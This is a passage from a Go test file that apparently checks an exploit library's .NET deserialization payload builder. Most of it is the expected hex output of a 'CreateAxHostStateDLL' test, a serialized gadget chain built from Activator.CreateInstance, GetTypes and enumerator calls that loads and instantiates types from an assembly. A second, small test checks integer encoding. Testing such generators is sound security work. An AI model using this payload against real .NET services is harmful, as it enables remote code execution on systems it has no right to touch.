436f6c6c656374696f6e732e47656e657269632e49456e756d657261626c6560315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d093e0000000a093e0000000952000000065b0000000847657454797065730a014500000043000000095b000000093e0000000952000000065e0000001853797374656d2e547970655b5d2047657454797065732829065f0000001853797374656d2e547970655b5d2047657454797065732829080000000a0146000000420000000660000000b60353797374656d2e46756e6360325b5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261626c6560315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261746f7260315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d093e0000000a093e0000000662000000840153797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261626c6560315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d06630000000d476574456e756d657261746f720a0147000000430000000963000000093e000000096200000006660000004553797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261746f7260315b53797374656d2e547970655d20476574456e756d657261746f7228290667000000940153797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261746f7260315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d20476574456e756d657261746f722829080000000a0148000000420000000668000000c00253797374656d2e46756e6360325b5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261746f7260315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e426f6f6c65616e2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d093e0000000a093e000000066a0000001e53797374656d2e436f6c6c656374696f6e732e49456e756d657261746f72066b000000084d6f76654e6578740a014900000043000000096b000000093e000000096a000000066e00000012426f6f6c65616e204d6f76654e6578742829066f0000001953797374656d2e426f6f6c65616e204d6f76654e6578742829080000000a014a000000420000000670000000bd0253797374656d2e46756e6360325b5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261746f7260315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d093e0000000a093e0000000672000000840153797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261746f7260315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d06730000000b6765745f43757272656e740a014b000000430000000973000000093e000000097200000006760000001953797374656d2e54797065206765745f43757272656e74282906770000001953797374656d2e54797065206765745f43757272656e742829080000000a014c000000420000000678000000c60153797374656d2e46756e6360325b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e4f626a6563742c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d093e0000000a093e000000067a0000001053797374656d2e416374697661746f72067b0000000e437265617465496e7374616e63650a014d00000043000000097b000000093e000000097a000000067e0000002953797374656d2e4f626a65637420437265617465496e7374616e63652853797374656d2e5479706529067f0000002953797374656d2e4f626a65637420437265617465496e7374616e63652853797374656d2e5479706529080000000a014e0000000f00000006800000002653797374656d2e436f6d706f6e656e744d6f64656c2e44657369676e2e436f6d6d616e64494404000000093a000000104f00000002000000098200000008080020000004820000000b53797374656d2e477569640b000000025f61025f62025f63025f64025f65025f66025f67025f68025f69025f6a025f6b000000000000000000000008070702020202020202021313d274ee2ad1118bfb00a0c90f26f70b0b" {
		t.Fatalf("Invalid CreateAxHostStateDLL output... val: %q hexform: %02x\n", got, got)
	}
}

func TestPrimToString(t *testing.T) {
	got := PrimitiveInt16(10990).PrimToString() //  expected hex ref ee
	if fmt.Sprintf("%02x", got) != "ee2a" {
		t.Fatalf("Invalid PrimToString output... val: %q hexform: %02x\n", got, got)
	}
}
